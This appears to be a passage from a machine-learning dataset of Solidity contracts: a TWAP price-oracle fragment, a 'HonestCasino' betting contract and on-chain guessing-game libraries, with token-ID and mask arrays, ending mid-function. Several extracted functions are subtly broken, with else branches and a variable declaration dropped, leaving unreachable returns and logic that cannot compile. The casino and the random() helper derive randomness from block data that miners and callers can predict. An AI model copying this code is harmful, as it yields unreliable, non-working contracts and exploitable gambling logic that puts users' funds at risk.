sum.add(uint256(oldAnswer).mul(newUpdatedAt - sumTimestamp)); sumTimestamp = newUpdatedAt; messageCount++; } oldAnswer = newAnswer; oldUpdatedAt = newUpdatedAt; } if (messageCount >= MIN_MESSAGE_COUNT) { sum = sum.add(uint256(oldAnswer).mul(timestamp - sumTimestamp)); return (sum.mul(_chainlinkPriceMultiplier) / EPOCH, roundID); } else { return (0, roundID); } } /// @dev Calculate TWAP for the given epoch. /// @param timestamp End timestamp of the epoch to be updated /// @param currentCumulativePrice Current observation of the Uniswap pair /// @return TWAP of the epoch calculated from Uniswap, or zero if either observation is invalid function _updateTwapFromSwap(uint256 timestamp, uint256 currentCumulativePrice) private view returns (uint256) { uint256 t = lastSwapTimestamp; if (t <= timestamp - EPOCH || t > timestamp - EPOCH + MAX_SWAP_DELAY) { // The last observation is not taken near the start of this epoch and cannot be used // to update this epoch. return 0; } else { return _getSwapTwap(lastSwapCumulativePrice, currentCumulativePrice, t, block.timestamp); } } /// @dev Call `chainlinkAggregator.getRoundData(roundID)`. Return zero if the call reverts. function _getChainlinkRoundData(uint80 roundID) private view returns ( uint80, int256, uint256, uint256, uint80 ) { (bool success, bytes memory returnData) = chainlinkAggregator.staticcall( abi.encodePacked(AggregatorV3Interface.getRoundData.selector, abi.encode(roundID)) ); if (success) { return abi.decode(returnData, (uint80, int256, uint256, uint256, uint80)); } else { return (roundID, 0, 0, 0, roundID); } } function _observeSwap() private view returns (uint256) { (uint256 price0Cumulative, uint256 price1Cumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(swapPair); return _swapTokenIndex == 0 ? price0Cumulative : price1Cumulative; } function _getSwapTwap( uint256 startCumulativePrice, uint256 endCumulativePrice, uint256 startTimestamp, uint256 endTimestamp ) private view returns (uint256) { return FixedPoint .uq112x112( uint224( (endCumulativePrice - startCumulativePrice) / (endTimestamp - startTimestamp) ) ) .mul(_swapPriceMultiplier) .decode144(); } /// @notice Fast-forward Chainlink round ID by owner. This is required when `lastRoundID` stucks /// at an old round, due to either incontinuous round IDs caused by a phase change or /// an abnormal `updatedAt` timestamp. function fastForwardRoundID(uint80 roundID) external onlyOwner { uint80 lastRoundID_ = lastRoundID; require(roundID > lastRoundID_, "Round ID too low"); (, , , uint256 lastUpdatedAt, ) = _getChainlinkRoundData(lastRoundID_); (, , , uint256 updatedAt, ) = _getChainlinkRoundData(roundID); require(updatedAt > lastUpdatedAt, "Invalid round timestamp"); require(updatedAt <= lastTimestamp, "Round too new"); lastRoundID = roundID; } /// @notice Submit a TWAP with 18 decimal places by the owner. /// This is allowed only when a epoch cannot be updated by either Chainlink or Uniswap. function updateTwapFromOwner(uint256 timestamp, uint256 price) external onlyOwner { require(timestamp % EPOCH == 0, "Unaligned timestamp"); require(timestamp <= lastTimestamp, "Not ready for owner"); require(_prices[timestamp] == 0, "Owner cannot update an existing epoch"); uint256 lastPrice = _prices[timestamp - EPOCH]; require(lastPrice > 0, "Owner can only update a epoch following an updated epoch"); require( price > lastPrice / 10 && price < lastPrice * 10, "Owner price deviates too much from the last price" ); _prices[timestamp] = price; emit Update(timestamp, price, UpdateType.OWNER); } /// @notice Observe the Uniswap pair and calculate TWAP since the last observation. function peekSwapPrice() external view returns (uint256) { uint256 cumulativePrice = _observeSwap(); return _getSwapTwap( lastSwapCumulativePrice, cumulativePrice, lastSwapTimestamp, block.timestamp ); } }
@dev Sequentially read Chainlink oracle until end of the given epoch. @param timestamp End timestamp of the epoch to be updated @return twap TWAP of the epoch calculated from Chainlink, or zero if there's no sufficient data @return newRoundID The last round ID that has been read until the end of this epoch This round is either not available yet (newUpdatedAt < updatedAt) or beyond the current epoch (newUpdatedAt > timestamp).
function _updateTwapFromChainlink(uint256 timestamp) private view returns (uint256 twap, uint80 newRoundID) { (uint80 roundID, int256 oldAnswer, , uint256 oldUpdatedAt, ) = _getChainlinkRoundData(lastRoundID); uint256 sum = 0; uint256 sumTimestamp = timestamp - EPOCH; uint256 messageCount = 0; for (uint256 i = 0; i < MAX_ITERATION; i++) { (, int256 newAnswer, , uint256 newUpdatedAt, ) = _getChainlinkRoundData(++roundID); if (newUpdatedAt < oldUpdatedAt || newUpdatedAt > timestamp) { roundID--; break; } if (newUpdatedAt > sumTimestamp) { sum = sum.add(uint256(oldAnswer).mul(newUpdatedAt - sumTimestamp)); sumTimestamp = newUpdatedAt; messageCount++; } oldAnswer = newAnswer; oldUpdatedAt = newUpdatedAt; } if (messageCount >= MIN_MESSAGE_COUNT) { sum = sum.add(uint256(oldAnswer).mul(timestamp - sumTimestamp)); return (sum.mul(_chainlinkPriceMultiplier) / EPOCH, roundID); return (0, roundID); } }
885,695
[ 1, 1761, 6979, 6261, 855, 7824, 1232, 20865, 3180, 679, 434, 326, 864, 7632, 18, 225, 2858, 4403, 2858, 434, 326, 7632, 358, 506, 3526, 327, 2339, 438, 24722, 2203, 434, 326, 7632, 8894, 628, 7824, 1232, 16, 578, 3634, 309, 1915, 1807, 1158, 18662, 501, 327, 394, 11066, 734, 1021, 1142, 3643, 1599, 716, 711, 2118, 855, 3180, 326, 679, 434, 333, 7632, 1220, 3643, 353, 3344, 486, 2319, 4671, 261, 2704, 20624, 411, 31944, 13, 578, 17940, 326, 783, 7632, 261, 2704, 20624, 405, 2858, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2725, 23539, 438, 1265, 3893, 1232, 12, 11890, 5034, 2858, 13, 203, 3639, 3238, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 2339, 438, 16, 2254, 3672, 394, 11066, 734, 13, 203, 565, 288, 203, 3639, 261, 11890, 3672, 3643, 734, 16, 509, 5034, 1592, 13203, 16, 269, 2254, 5034, 1592, 20624, 16, 262, 273, 203, 5411, 389, 588, 3893, 1232, 11066, 751, 12, 2722, 11066, 734, 1769, 203, 3639, 2254, 5034, 2142, 273, 374, 31, 203, 3639, 2254, 5034, 2142, 4921, 273, 2858, 300, 512, 30375, 31, 203, 3639, 2254, 5034, 883, 1380, 273, 374, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 4552, 67, 11844, 2689, 31, 277, 27245, 288, 203, 5411, 261, 16, 509, 5034, 394, 13203, 16, 269, 2254, 5034, 394, 20624, 16, 262, 273, 389, 588, 3893, 1232, 11066, 751, 12, 9904, 2260, 734, 1769, 203, 5411, 309, 261, 2704, 20624, 411, 1592, 20624, 747, 394, 20624, 405, 2858, 13, 288, 203, 7734, 3643, 734, 413, 31, 203, 7734, 898, 31, 203, 5411, 289, 203, 5411, 309, 261, 2704, 20624, 405, 2142, 4921, 13, 288, 203, 7734, 2142, 273, 2142, 18, 1289, 12, 11890, 5034, 12, 1673, 13203, 2934, 16411, 12, 2704, 20624, 300, 2142, 4921, 10019, 203, 7734, 2142, 4921, 273, 394, 20624, 31, 203, 7734, 883, 1380, 9904, 31, 203, 5411, 289, 203, 5411, 1592, 13203, 273, 394, 13203, 31, 203, 5411, 1592, 20624, 273, 394, 20624, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 2150, 1380, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >0.6.1 <0.7.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract HonestCasino is Ownable { using SafeMath for uint256; struct GuessEntry { uint72 bet; uint16 nonce; uint8 number; uint64 blockNumber; } uint256 constant MAX_PRIZE = 200 ether; // fits in uint72 uint16 nonce = 0; uint8 public prizeMultiplier = 66; mapping(address => GuessEntry) guesses; event Guess(address indexed guesser, uint72 bet, uint16 nonce, uint8 number); event PrizeClaim(address indexed guesser, uint8 number, uint72 prizeValue, uint16 nonce); receive() external payable { } function guess(uint8 guessNumber) external payable { // checking inputs require(guessNumber < 100, "$CAS1"); uint256 prize = msg.value.mul(prizeMultiplier); require(prize <= address(this).balance / 2, "$CAS2"); require(prize <= MAX_PRIZE, "$CAS3"); nonce++; emit Guess(msg.sender, uint72(msg.value), nonce, guessNumber); // placing a bet guesses[msg.sender] = GuessEntry(uint72(msg.value), nonce, guessNumber, uint64(block.number)); } function claimPrize(address account) external { GuessEntry storage entry = guesses[account]; uint256 entryBet = entry.bet; uint256 entryBlockNumber = entry.blockNumber; // checking inputs require(entryBet > 0, "$CAS4"); uint256 prizeGross = entryBet.mul(prizeMultiplier); uint256 fee = prizeGross.mul(3) / 100; uint256 prize = prizeGross.sub(fee); entry.bet = 0; // if there is not enough funds - give at least a half if (prize > address(this).balance / 2) { prize = address(this).balance / 2; } // if there is enough ethers in the prize fund - make the EV neutral if (address(this).balance >= 400 ether && prizeMultiplier == 66) { prizeMultiplier = 99; } else if (address(this).balance < 400 ether && prizeMultiplier == 99) { prizeMultiplier = 66; } // sending prize if the number is correct uint256 randomNumber = calculateRandomNumber(entryBlockNumber, entry.nonce); if (randomNumber == uint256(entry.number)) { emit PrizeClaim(account, uint8(randomNumber), uint72(prize), entry.nonce); payable(this.owner()).transfer(fee); payable(account).transfer(prize); } } // in case of update function migrateCapital(address nextVersion) external onlyOwner { require(nextVersion != address(0), "$RWC1"); payable(nextVersion).transfer(address(this).balance); } function calculateRandomNumber(uint256 blockNumber, uint16 _nonce) internal view returns (uint256) { require(block.number - blockNumber < 256, "$CAS5"); // not after 255 blocks pass require(block.number - blockNumber > 0, "$CAS8"); // not in the same block return uint256(keccak256(abi.encodePacked(blockhash(blockNumber), _nonce))) % 100; } }
checking inputs if there is not enough funds - give at least a half if there is enough ethers in the prize fund - make the EV neutral
function claimPrize(address account) external { GuessEntry storage entry = guesses[account]; uint256 entryBet = entry.bet; uint256 entryBlockNumber = entry.blockNumber; require(entryBet > 0, "$CAS4"); uint256 prizeGross = entryBet.mul(prizeMultiplier); uint256 fee = prizeGross.mul(3) / 100; uint256 prize = prizeGross.sub(fee); entry.bet = 0; if (prize > address(this).balance / 2) { prize = address(this).balance / 2; } if (address(this).balance >= 400 ether && prizeMultiplier == 66) { prizeMultiplier = 99; prizeMultiplier = 66; } if (randomNumber == uint256(entry.number)) { emit PrizeClaim(account, uint8(randomNumber), uint72(prize), entry.nonce); payable(this.owner()).transfer(fee); payable(account).transfer(prize); } }
14,095,245
[ 1, 24609, 4540, 309, 1915, 353, 486, 7304, 284, 19156, 300, 8492, 622, 4520, 279, 8816, 309, 1915, 353, 7304, 13750, 414, 316, 326, 846, 554, 284, 1074, 300, 1221, 326, 14839, 22403, 287, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 2050, 554, 12, 2867, 2236, 13, 3903, 288, 203, 3639, 30282, 1622, 2502, 1241, 273, 7274, 281, 63, 4631, 15533, 203, 3639, 2254, 5034, 1241, 38, 278, 273, 1241, 18, 70, 278, 31, 203, 3639, 2254, 5034, 1241, 1768, 1854, 273, 1241, 18, 2629, 1854, 31, 203, 203, 3639, 2583, 12, 4099, 38, 278, 405, 374, 16, 4662, 20221, 24, 8863, 203, 203, 3639, 2254, 5034, 846, 554, 43, 3984, 273, 1241, 38, 278, 18, 16411, 12, 683, 554, 23365, 1769, 203, 3639, 2254, 5034, 14036, 273, 846, 554, 43, 3984, 18, 16411, 12, 23, 13, 342, 2130, 31, 203, 3639, 2254, 5034, 846, 554, 273, 846, 554, 43, 3984, 18, 1717, 12, 21386, 1769, 203, 3639, 1241, 18, 70, 278, 273, 374, 31, 203, 203, 3639, 309, 261, 683, 554, 405, 1758, 12, 2211, 2934, 12296, 342, 576, 13, 288, 203, 5411, 846, 554, 273, 1758, 12, 2211, 2934, 12296, 342, 576, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 2867, 12, 2211, 2934, 12296, 1545, 7409, 225, 2437, 597, 846, 554, 23365, 422, 22342, 13, 288, 203, 5411, 846, 554, 23365, 273, 14605, 31, 203, 5411, 846, 554, 23365, 273, 22342, 31, 203, 3639, 289, 203, 203, 203, 3639, 309, 261, 9188, 1854, 422, 2254, 5034, 12, 4099, 18, 2696, 3719, 288, 203, 5411, 3626, 2301, 554, 9762, 12, 4631, 16, 2254, 28, 12, 9188, 1854, 3631, 2254, 9060, 12, 683, 554, 3631, 1241, 18, 12824, 1769, 203, 203, 5411, 8843, 429, 12, 2211, 18, 8443, 1435, 2934, 2 ]
pragma solidity ^0.4.24; library Player{ using CommUtils for string; address public constant AUTHOR = 0x001C9b3392f473f8f13e9Eaf0619c405AF22FC26a7; struct Map{ mapping(address=>uint256) map; mapping(address=>address) referrerMap; mapping(address=>bytes32) addrNameMap; mapping(bytes32=>address) nameAddrMap; } function deposit(Map storage ps,address adr,uint256 v) internal returns(uint256) { ps.map[adr]+=v; return v; } function depositAuthor(Map storage ps,uint256 v) public returns(uint256) { return deposit(ps,AUTHOR,v); } function withdrawal(Map storage ps,address adr,uint256 num) public returns(uint256) { uint256 sum = ps.map[adr]; if(sum==num){ withdrawalAll(ps,adr); } require(sum > num); ps.map[adr] = (sum-num); return sum; } function withdrawalAll(Map storage ps,address adr) public returns(uint256) { uint256 sum = ps.map[adr]; require(sum >= 0); delete ps.map[adr]; return sum; } function getAmmount(Map storage ps,address adr) public view returns(uint256) { return ps.map[adr]; } function registerName(Map storage ps,bytes32 _name)internal { require(ps.nameAddrMap[_name] == address(0) ); ps.nameAddrMap[_name] = msg.sender; ps.addrNameMap[msg.sender] = _name; depositAuthor(ps,msg.value); } function isEmptyName(Map storage ps,bytes32 _name) public view returns(bool) { return ps.nameAddrMap[_name] == address(0); } function getByName(Map storage ps,bytes32 _name)public view returns(address) { return ps.nameAddrMap[_name] ; } function getName(Map storage ps) public view returns(bytes32){ return ps.addrNameMap[msg.sender]; } function getNameByAddr(Map storage ps,address adr) public view returns(bytes32){ return ps.addrNameMap[adr]; } function getReferrer(Map storage ps,address adr)public view returns(address){ return ps.referrerMap[adr]; } function getReferrerName(Map storage ps,address adr)public view returns(bytes32){ return getNameByAddr(ps,getReferrer(ps,adr)); } function setReferrer(Map storage ps,address self,address referrer)internal { ps.referrerMap[self] = referrer; } function applyReferrer(Map storage ps,string referrer)internal { require(getReferrer(ps,msg.sender) == address(0)); bytes32 rbs = referrer.nameFilter(); address referrerAdr = getByName(ps,rbs); if(referrerAdr != msg.sender){ setReferrer(ps,msg.sender,referrerAdr); } } function withdrawalFee(Map storage ps,uint256 fee) public returns (uint256){ if(msg.value > 0){ require(msg.value >= fee,"msg.value < fee"); return fee; } require(getAmmount(ps,msg.sender)>=fee ,"players.getAmmount(msg.sender)<fee"); withdrawal(ps,msg.sender,fee); return fee; } } library CommUtils{ function removeByIdx(uint256[] array,uint256 idx) public pure returns(uint256[] memory){ uint256[] memory ans = copy(array,array.length-1); while((idx+1) < array.length){ ans[idx] = array[idx+1]; idx++; } return ans; } function copy(uint256[] array,uint256 len) public pure returns(uint256[] memory){ uint256[] memory ans = new uint256[](len); len = len > array.length? array.length : len; for(uint256 i =0;i<len;i++){ ans[i] = array[i]; } return ans; } function getHash(uint256[] array) public pure returns(uint256) { uint256 baseStep =100; uint256 pow = 1; uint256 ans = 0; for(uint256 i=0;i<array.length;i++){ ans= ans+ uint256(array[i] *pow ) ; pow= pow* baseStep; } return ans; } function contains(address[] adrs,address adr)public pure returns(bool){ for(uint256 i=0;i<adrs.length;i++){ if(adrs[i] == adr) return true; } return false; } function random(uint256 max,uint256 mixed) public view returns(uint256){ uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(blockhash(lastBlockNumber)); hashVal += 31*uint256(block.coinbase); hashVal += 19*mixed; hashVal += 17*uint256(block.difficulty); hashVal += 13*uint256(block.gaslimit ); hashVal += 11*uint256(now ); hashVal += 7*uint256(block.timestamp ); hashVal += 3*uint256(tx.origin); return uint256(hashVal % max); } function getIdxArray(uint256 len) public pure returns(uint256[]){ uint256[] memory ans = new uint256[](len); for(uint128 i=0;i<len;i++){ ans[i] = i; } return ans; } function genRandomArray(uint256 digits,uint256 templateLen,uint256 base) public view returns(uint256[]) { uint256[] memory ans = new uint256[](digits); uint256[] memory idxs = getIdxArray( templateLen); for(uint256 i=0;i<digits;i++){ uint256 idx = random(idxs.length,i+base); uint256 wordIdx = idxs[idx]; ans[i] = wordIdx; idxs = removeByIdx(idxs,idx); } return ans; } /** * @dev Multiplies two numbers, throws on overflow. */ function multiplies(uint256 a, uint256 b) private pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = multiplies(z,x); return (z); } } function pwrFloat(uint256 tar,uint256 numerator,uint256 denominator,uint256 pwrN) public pure returns(uint256) { for(uint256 i=0;i<pwrN;i++){ tar = tar * numerator / denominator; } return tar ; } function mulRate(uint256 tar,uint256 rate) public pure returns (uint256){ return tar *rate / 100; } /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library PlayerReply{ using CommUtils for address[]; using CommUtils for uint256[]; uint256 constant VISABLE_NONE = 0; uint256 constant VISABLE_FINAL = 1; uint256 constant VISABLE_ALL = 2; uint256 constant VISABLE_OWNER = 3; uint256 constant VISABLE_BUYED = 4; uint256 constant HIDE_TIME = 5*60; uint256 constant GRAND_TOTAL_TIME = 10*60; struct Data{ address[] ownerIds; uint256 aCount; uint256 bCount; uint256[] answer; uint replyAt; } struct List{ uint256 size; mapping (uint256 => uint256) hashIds; mapping (uint256 => Data) map; mapping (uint256=>uint256) sellPriceMap; mapping (uint256=>address) seller; mapping (uint256=>address[]) buyer; } function init(Data storage d,uint256 ac,uint256 bc,address own) internal{ d.ownerIds.push(own) ; d.aCount = ac; d.bCount = bc; d.replyAt = now; } function clear(List storage ds) internal{ for(uint256 i =0;i<ds.size;i++){ uint256 key = ds.hashIds[i]; delete ds.map[key]; delete ds.sellPriceMap[key]; delete ds.seller[key]; delete ds.buyer[key]; delete ds.hashIds[i]; } ds.size = 0; } function setSellPrice(List storage ds,uint256 ansHash,uint256 price) internal { require(ds.map[ansHash].ownerIds.contains(msg.sender)); require(ds.seller[ansHash] == address(0)); ds.seller[ansHash] = msg.sender; ds.sellPriceMap[ansHash] = price; } function getSellPrice(List storage ds,uint256 idx) public view returns(uint256) { return ds.sellPriceMap[ds.hashIds[idx]] ; } function isOwner(Data storage d) internal view returns(bool){ return d.replyAt>0 && d.answer.length>0 && d.ownerIds.contains(msg.sender); } function isWined(Data storage d) internal view returns(bool){ return d.replyAt>0 && d.answer.length>0 && d.aCount == d.answer.length ; } function getWin(List storage ds) internal view returns(Data storage lastAns){ for(uint256 i=0;i<ds.size;i++){ Data storage d = get(ds,i); if(isWined(d)){ return d; } } return lastAns; } function getVisibleType(List storage ds,uint256 ansHash) internal view returns(uint256) { Data storage d = ds.map[ansHash]; if(d.ownerIds.contains(msg.sender)){ return VISABLE_OWNER; }else if(d.answer.length == d.aCount){ return VISABLE_FINAL; }else if(ds.buyer[ansHash].contains(msg.sender)){ return VISABLE_BUYED; }else if((now - d.replyAt)> HIDE_TIME && ds.sellPriceMap[ansHash] == 0){ return VISABLE_ALL; } return VISABLE_NONE; } function getReplay(List storage ds,uint256 idx) internal view returns( uint256 ,//aCount; uint256,// bCount; uint256[],// answer; uint,// Timeline; uint256, // VisibleType uint256, //sellPrice uint256 //ansHash ) { uint256 ansHash = ds.hashIds[idx]; uint256 sellPrice = ds.sellPriceMap[ansHash]; Data storage d= ds.map[ansHash]; uint256 vt = getVisibleType(ds,ansHash); return ( d.aCount, d.bCount, vt!=VISABLE_NONE ? d.answer : new uint256[](0), now-d.replyAt, vt, sellPrice, vt!=VISABLE_NONE ? ansHash : 0 ); } function listBestScore(List storage ds) internal view returns( uint256 aCount , //aCount uint256 bCount , //bCount uint256 bestCount // Count ){ uint256 sorce = 0; for(uint256 i=0;i<ds.size;i++){ Data storage d = get(ds,i); uint256 curSore = (d.aCount *100) + d.bCount; if(curSore > sorce){ aCount = d.aCount; bCount = d.bCount; sorce = curSore; bestCount = 1; }else if(curSore == sorce){ bestCount++; } } } function getOrGenByAnwser(List storage ds,uint256[] ans) internal returns(Data storage ){ uint256 ansHash = ans.getHash(); Data storage d = ds.map[ansHash]; if(d.answer.length>0) return d; d.answer = ans; ds.hashIds[ds.size] = ansHash; ds.size ++; return d; } function get(List storage ds,uint256 idx) public view returns(Data storage){ return ds.map[ ds.hashIds[idx]]; } function getByHash(List storage ds ,uint256 ansHash)public view returns(Data storage){ return ds.map[ansHash]; } function getLastReplyAt(List storage list) internal view returns(uint256){ return list.size>0 ? (now- get(list,list.size-1).replyAt) : 0; } function getLastReply(List storage ds) internal view returns(Data storage d){ if( ds.size>0){ return get(ds,ds.size-1); } return d; } function countByGrand(List storage ds) internal view returns(uint256) { if(ds.size == 0 ) return 0; uint256 count = 0; uint256 _lastAt = now; uint256 lastIdx = ds.size-1; Data memory d = get(ds,lastIdx-count); while((_lastAt - d.replyAt)<= GRAND_TOTAL_TIME ){ count++; _lastAt = d.replyAt; if(count>lastIdx) return count; d = get(ds,lastIdx-count); } return count; } } library RoomInfo{ using PlayerReply for PlayerReply.Data; using PlayerReply for PlayerReply.List; using Player for Player.Map; using CommUtils for uint256[]; uint256 constant DIVIDEND_AUTH = 5; uint256 constant DIVIDEND_INVITE = 2; uint256 constant DIVIDEND_INVITE_REFOUND = 3; uint256 constant DECIMAL_PLACE = 100; uint256 constant GRAND_RATE = 110; struct Data{ address ownerId; uint256 charsLength; uint256[] answer; PlayerReply.List replys; bytes32 name; uint256 prize; uint256 minReplyFee; uint256 replayCount; uint256 firstReplayAt; uint256 rateCode; uint256 round; uint256 maxReplyFeeRate; uint256 toAnswerRate; uint256 toOwner; uint256 nextRoundRate; uint256 increaseRate_1000; uint256 initAwardTime ; uint256 plusAwardTime ; } struct List{ mapping(uint256 => Data) map; uint256 size ; } function genOrGetReplay(Data storage d,uint256[] ans) internal returns(PlayerReply.Data storage ) { (PlayerReply.Data storage replayData) = d.replys.getOrGenByAnwser(ans); d.replayCount++; if(d.firstReplayAt == 0) d.firstReplayAt = now; return (replayData); } function tryAnswer(Data storage d ,uint256[] _t ) internal view returns(uint256,uint256){ require(d.answer.length == _t.length); uint256 aCount; uint256 bCount; for(uint256 i=0;i<_t.length;i++){ for(uint256 j=0;j<d.answer.length;j++){ if(d.answer[j] == _t[i]){ if(i == j){ aCount++; }else{ bCount ++; } } } } return (aCount,bCount); } function init( Data storage d, uint256 digits, uint256 templateLen, bytes32 n, uint256 toAnswerRate, uint256 toOwner, uint256 nextRoundRate, uint256 minReplyFee, uint256 maxReplyFeeRate, uint256 increaseRate_1000, uint256 initAwardTime, uint256 plusAwardTime ) public { require(maxReplyFeeRate<1000 && maxReplyFeeRate > 5 ); require(minReplyFee<= msg.value *maxReplyFeeRate /DECIMAL_PLACE && minReplyFee>= 0.000005 ether); require(digits>=2 && digits <= 9 ); require((toAnswerRate+toOwner)<=90); require(msg.value >= 0.001 ether); require(nextRoundRate <= 70); require(templateLen >= 10); require(initAwardTime < 60*60*24*90); require(plusAwardTime < 60*60*24*20); require(CommUtils.mulRate(msg.value,100-nextRoundRate) >= minReplyFee); d.charsLength = templateLen; d.answer = CommUtils.genRandomArray(digits,templateLen,0); d.ownerId = msg.sender; d.name = n; d.prize = msg.value; d.minReplyFee = minReplyFee; d.round = 1; d.maxReplyFeeRate = maxReplyFeeRate; d.toAnswerRate = toAnswerRate; d.toOwner = toOwner; d.nextRoundRate = nextRoundRate; d.increaseRate_1000 = increaseRate_1000; d.initAwardTime = initAwardTime; d.plusAwardTime = plusAwardTime; } function replayAnser(Data storage r,Player.Map storage ps,uint256 fee,uint256[] tryA) internal returns( uint256, // aCount uint256 // bCount ) { (uint256 a, uint256 b) = tryAnswer(r,tryA); saveReplyFee(r,ps,fee); (PlayerReply.Data storage pr) = genOrGetReplay(r,tryA); pr.init(a,b,msg.sender); return (a,b); } function saveReplyFee(Data storage d,Player.Map storage ps,uint256 replayFee) internal { uint256 lessFee = replayFee; //uint256 toAnswerRate= rates[IdxToAnswerRate]; //uint256 toOwner = rates[IdxToOwnerRate]; lessFee -=sendReplayDividend(d,ps,replayFee*d.toAnswerRate/DECIMAL_PLACE); address refer = ps.getReferrer(msg.sender); if(refer == address(0)){ lessFee -=ps.depositAuthor(replayFee*(DIVIDEND_AUTH+DIVIDEND_INVITE+DIVIDEND_INVITE_REFOUND)/DECIMAL_PLACE); }else{ lessFee -=ps.deposit(msg.sender,replayFee*DIVIDEND_INVITE_REFOUND/DECIMAL_PLACE); lessFee -=ps.deposit(refer,replayFee*DIVIDEND_INVITE/DECIMAL_PLACE); lessFee -=ps.depositAuthor(replayFee*DIVIDEND_AUTH/DECIMAL_PLACE); } lessFee -=ps.deposit(d.ownerId,replayFee*d.toOwner/DECIMAL_PLACE); d.prize += lessFee; } function sendReplayDividend(Data storage d,Player.Map storage ps,uint256 ammount) private returns(uint256) { if(d.replayCount <=0) return 0; uint256 oneD = ammount / d.replayCount; for(uint256 i=0;i<d.replys.size;i++){ PlayerReply.Data storage rp = d.replys.get(i); for(uint256 j=0;j<rp.ownerIds.length;j++){ ps.deposit(rp.ownerIds[j],oneD); } } return ammount; } function getReplay(Data storage d,uint256 replayIdx) internal view returns( uint256 ,//aCount; uint256,// bCount; uint256[],// answer; uint,// replyAt; uint256, // VisibleType uint256, //sellPrice uint256 //ansHash ) { return d.replys.getReplay(replayIdx); } function isAbleNextRound(Data 